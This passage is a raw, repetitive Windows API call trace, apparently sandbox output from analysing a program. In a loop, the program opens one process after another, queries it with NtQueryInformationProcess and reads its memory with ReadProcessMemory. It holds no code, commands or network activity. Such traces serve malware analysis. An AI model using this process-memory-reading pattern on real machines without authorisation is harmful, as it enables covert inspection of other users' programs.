nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.710] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.710] malloc (_Size=0x54) returned 0xeaa170 [0351.710] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22a4, lpBuffer=0xeaa170, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa170*, lpNumberOfBytesRead=0x0) returned 1 [0351.711] free (_Block=0xeaa170) [0351.711] CloseHandle (hObject=0xa9c) returned 1 [0351.711] _ui64tow_s (in: _Value=0x14d8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5336") returned 0x0 [0351.711] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5336") returned 4 [0351.712] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.712] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.713] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14d8) returned 0xa9c [0351.713] GetLastError () returned 0x0 [0351.713] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.713] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.713] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.713] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.713] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.714] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.714] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.714] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.714] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.714] malloc (_Size=0x72) returned 0xea8ea0 [0351.714] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5522c2, lpBuffer=0xea8ea0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ea0*, lpNumberOfBytesRead=0x0) returned 1 [0351.715] free (_Block=0xea8ea0) [0351.715] CloseHandle (hObject=0xa9c) returned 1 [0351.715] _ui64tow_s (in: _Value=0x14e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5352") returned 0x0 [0351.716] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5352") returned 4 [0351.716] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.716] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.717] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14e8) returned 0x0 [0351.717] CloseHandle (hObject=0x0) returned 0 [0351.717] _ui64tow_s (in: _Value=0x1520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5408") returned 0x0 [0351.717] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5408") returned 4 [0351.718] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.718] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.719] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1520) returned 0xa9c [0351.719] GetLastError () returned 0x0 [0351.719] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.720] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.720] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.720] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.720] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.720] malloc (_Size=0x68) returned 0xeb6380 [0351.720] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b22b8, lpBuffer=0xeb6380, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0351.721] free (_Block=0xeb6380) [0351.721] CloseHandle (hObject=0xa9c) returned 1 [0351.721] _ui64tow_s (in: _Value=0x154c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5452") returned 0x0 [0351.721] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5452") returned 4 [0351.721] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.722] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154c) returned 0xa9c [0351.723] GetLastError () returned 0x0 [0351.723] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.723] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.723] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.723] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.723] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.724] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.724] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.724] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.724] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.725] malloc (_Size=0x76) returned 0xea96a0 [0351.725] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d22c6, lpBuffer=0xea96a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.725] free (_Block=0xea96a0) [0351.726] CloseHandle (hObject=0xa9c) returned 1 [0351.726] _ui64tow_s (in: _Value=0x1568, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5480") returned 0x0 [0351.726] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5480") returned 4 [0351.726] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.726] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.727] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1568) returned 0xa9c [0351.727] GetLastError () returned 0x0 [0351.727] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.727] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.728] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.728] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.729] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.729] malloc (_Size=0x7a) returned 0xe878b0 [0351.729] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22ca, lpBuffer=0xe878b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe878b0*, lpNumberOfBytesRead=0x0) returned 1 [0351.730] free (_Block=0xe878b0) [0351.730] CloseHandle (hObject=0xa9c) returned 1 [0351.730] _ui64tow_s (in: _Value=0x1574, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5492") returned 0x0 [0351.731] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5492") returned 4 [0351.731] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.731] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.732] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1574) returned 0xa9c [0351.732] GetLastError () returned 0x0 [0351.732] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.733] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.733] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.733] malloc (_Size=0x76) returned 0xea8d20 [0351.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22c6, lpBuffer=0xea8d20, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0351.735] free (_Block=0xea8d20) [0351.735] CloseHandle (hObject=0xa9c) returned 1 [0351.735] _ui64tow_s (in: _Value=0x15b0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5552") returned 0x0 [0351.735] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5552") returned 4 [0351.735] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.735] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15b0) returned 0xa9c [0351.736] GetLastError () returned 0x0 [0351.737] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.737] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.738] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.738] malloc (_Size=0x5e) returned 0xeb64d0 [0351.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ae, lpBuffer=0xeb64d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0351.739] free (_Block=0xeb64d0) [0351.740] CloseHandle (hObject=0xa9c) returned 1 [0351.740] _ui64tow_s (in: _Value=0x15cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5580") returned 0x0 [0351.740] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5580") returned 4 [0351.740] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.740] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.741] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15cc) returned 0xa9c [0351.741] GetLastError () returned 0x0 [0351.741] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.742] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.742] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.742] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.742] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.742] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.742] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.743] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.743] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.743] malloc (_Size=0x66) returned 0xeb62a0 [0351.743] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722b6, lpBuffer=0xeb62a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.744] free (_Block=0xeb62a0) [0351.744] CloseHandle (hObject=0xa9c) returned 1 [0351.744] _ui64tow_s (in: _Value=0x15e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5600") returned 0x0 [0351.745] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5600") returned 4 [0351.745] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.745] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.746] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15e0) returned 0xa9c [0351.746] GetLastError () returned 0x0 [0351.746] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.746] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.746] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.746] ReadProcessMemory (in: 